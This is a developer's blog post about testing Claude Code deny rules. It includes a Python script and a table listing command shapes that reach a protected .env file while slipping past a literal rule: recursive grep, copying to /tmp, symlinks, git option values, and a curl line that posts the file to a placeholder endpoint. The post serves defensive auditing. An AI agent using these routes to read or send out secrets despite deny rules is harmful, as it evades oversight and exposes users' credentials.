I was rereading the logs from an unattended run late one evening. My settings had a single line under deny — Read(./.env) — and I remember thinking that corner was covered.
That comfort lasted until a few lines further down, where a command starting with grep -r was sitting in the transcript. What I had written into the rule was a filename. What I needed to protect was every route that reaches that file.
The first thing I would like to put plainly: a deny rule tells you nothing about its own reach until you test it. If you follow the Claude Code changelog, this area moves between releases. v2.1.259 closed several Bash deny-rule gaps — files passed as option values, file arguments to git diff and git grep, compound commands like cd DIR && cat FILE — and v2.1.260 then rolled part of that tightening back (Claude Code CHANGELOG).
So the same settings file can behave differently on the day you upgrade. That pushed me to build the checking side before I wrote another rule.
How many spellings reach one file
I started by counting. In a working directory holding a single .env, I compared five differently-written paths by device number and inode.
import os
cands = [
".env",
"./.env",
os.path.join(os.getcwd(), ".env"),
"config/../.env",
"secrets/../.env",
]
seen = {}
for c in cands:
try:
st = os.stat(c)
seen.setdefault((st.st_dev, st.st_ino), []).append(c)
except FileNotFoundError:
print("miss", c)
for key, group in seen.items():
print("same file ->", len(group), "spellings:", group)The run printed exactly one line.
same file -> 5 spellings: ['.env', './.env', '/tmp/dr/proj/.env', 'config/../.env', 'secrets/../.env']
Even a detour through an unrelated secrets/ directory lands back on the same inode once .. is involved. From the filesystem's point of view that is unremarkable. From the point of view of a rule written as text, those five look like five different things.
What I had missed was simpler than any of the gaps in the changelog: the thing I wanted to protect and the thing my rule compared against were not the same kind of object.
A small script that lists the routes
So I wrote a tool that takes the paths I want protected and prints the shapes of commands that reach them. It does not judge anything. It lists.
#!/usr/bin/env python3
"""Enumerate the command shapes that reach a protected file, and show which
of them your deny rule matches as plain text. Fill in `result` by hand."""
import argparse
import os
SHAPES = [
("direct", "cat {p}"),
("dot-slash", "cat ./{p}"),
("absolute", 'cat "$PWD/{p}"'),
("roundabout", "cat {dir}/../{dirbase}/{base}"),
("cd-compound", "cd {dir} && cat {base}"),
("option-value", "git blame --ignore-revs-file={p} ."),
("option-glued", "grep -f{p} ."),
("at-file", "curl -d @{p} "$ENDPOINT""),
("git-pathspec", "git diff -- {p}"),
("git-grep", "git grep -e token -- {p}"),
("recursive", "grep -r token {dir}"),
("copy-out", "cp -r {dir} /tmp/copy"),
("glob", "cat {dir}/{stem}*"),
("symlink", "ln -s {p} /tmp/link && cat /tmp/link"),
]
def fields(path):
p = path[2:] if path.startswith("./") else path
d = os.path.dirname(p)
b = os.path.basename(p)
stem = b.split(".", 2)[0] + "." + b.split(".", 2)[1] if b.count(".") >= 1 else b
return {
"p": p,
"dir": d or ".",
"dirbase": os.path.basename(d) if d else ".",
"base": b,
"stem": stem,
}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("paths", nargs="+")
ap.add_argument("--rule", action="append", default=[],
help="literal substring your deny rule matches on")
a = ap.parse_args()
print("path\tshape\tcommand\trule_text_hit\tresult")
for path in a.paths:
f = fields(path)
for name, tpl in SHAPES:
if name == "roundabout" and f["dir"] == ".":
continue
cmd = tpl.format(**f)
hit = "yes" if any(r in cmd for r in a.rule) else "no"
print(f"{f['p']}\t{name}\t{cmd}\t{hit}\t")
if __name__ == "__main__":
main()Into --rule you pass the literal strings your own rule matches on. The rule_text_hit column is a deliberately naive check — does my rule string appear inside this command at all. It does not reproduce Claude Code's internal matching, and it is not meant to. It exists so I can see, in one column, how far the string I wrote does not reach.
The result column comes out empty on purpose. That is where I record what actually happened when I tried the command in my own environment: allowed, or refused. Leaving it unfilled by machine is the point of the tool, not a shortcoming of it.
Reading the table, the string only reached part of the way
I gave it two protected paths (.env and config/.env.production) and two naive rules (cat .env and cat ./.env).
$ python3 deny_route_matrix.py .env config/.env.production \
--rule "cat .env" --rule "cat ./.env"
The output came to 27 rows, and rule_text_hit said yes on 5 of them. The other 22 reach the same files without sharing a single character with what I had written.
| Shape | Example command | Matches my rule text? |
|---|---|---|
| direct | cat .env | Yes |
| absolute | cat "$PWD/.env" | No |
| option-value | git blame --ignore-revs-file=.env . | No |
| at-file | curl -d @.env "$ENDPOINT" | No |
| git-pathspec | git diff -- .env | No |
| recursive | grep -r token . | No |
| copy-out | cp -r . /tmp/copy | No |
| symlink | ln -s .env /tmp/link && cat /tmp/link | No |
The two that bothered me most are recursive and copy-out. Neither one types the filename even once, yet both put the contents somewhere readable. Commands that address a whole directory had fallen entirely outside my mental category of "operations that read .env".
There is one more row I want to be honest about. For .env, the cd-compound shape (cd . && cat .env) came back yes — but only because the directory happened to be ., which left the literal cat .env inside the string. For config/.env.production the same shape becomes cd config && cat .env.production and matches nothing. A row that says yes is worth reading once for why it said yes, rather than being filed away as reassurance.
The mistake I made building it
My first version tried to drop a leading ./ by writing path.lstrip("./"). Running it, the first column showed env where I expected .env.
>>> ".env".lstrip("./")
'env'
>>> ".env".removeprefix("./")
'.env'lstrip does not remove a prefix. It removes any of the given characters from the front, over and over, and both . and / were in that set — so the leading dot of .env went with them.
The table it produced looked perfectly plausible while listing routes to files that did not exist. I caught it by eye, which was luck more than method. A checking tool that fails quietly is the worst shape a checking tool can take.
Since then I keep one rule for these small tools: always print the input as the tool understood it. The first column is what gave the bug away.
Run it once, on the day you upgrade
The routine I settled on has three parts.
- Keep the list of protected paths in one file, committed alongside the project
- Generate the table from it, and fill the
resultcolumn by hand in your own environment - Save the filled table with a date and a version number, then diff it after an upgrade
The third part is the one that earns its keep. The table matters less than the difference between this table and the last one. If result changes while my settings did not, then what changed was the ground underneath, not me.
Protect the routes to a file, not the name of it. Running unattended schedules as a solo developer, the days I forget that distinction are reliably the days a new command shape appears in the transcript. So now I reach for counting routes before I reach for adding rules.
How the permission settings themselves are written is covered well in the Claude Code settings documentation. What I wanted to add is the part that comes after writing them.
Pick the one file you would least like read aloud, and build this table for it once. How many of those 27 rows sit outside what you had pictured is probably a number only the people who run it get to know. I did not know mine until I found that grep -r line.